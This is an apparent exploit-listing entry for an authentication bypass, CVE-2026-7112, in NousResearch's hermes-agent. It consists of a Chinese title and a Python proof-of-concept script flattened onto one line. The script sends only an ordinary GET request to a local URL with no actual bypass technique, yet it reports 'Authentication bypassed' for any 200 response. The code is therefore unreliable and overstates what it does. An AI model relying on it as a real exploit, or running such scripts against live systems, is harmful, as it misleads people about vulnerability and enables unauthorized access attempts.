CVE-2026-7112 NousResearch hermes-agent认证绕过漏洞

import requests def exploit(target_url): """ PoC for CVE-2026-7112 Demonstrates bypassing the _check_auth function in hermes-agent. """ headers = { "User-Agent": "CVE-2026-7112-Exploit", # In a real scenario, specific headers might be omitted or malformed } print(f"[*] Attempting to bypass authentication on {target_url}...") try: # Sending request to the vulnerable endpoint response = requests.get(target_url, headers=headers, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Authentication bypassed.") print(f"[+] Response: {response.text[:100]}") else: print("[-] Exploit failed or target patched.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Replace with actual target URL target = "http://127.0.0.1:8000/api/v1/endpoint" exploit(target)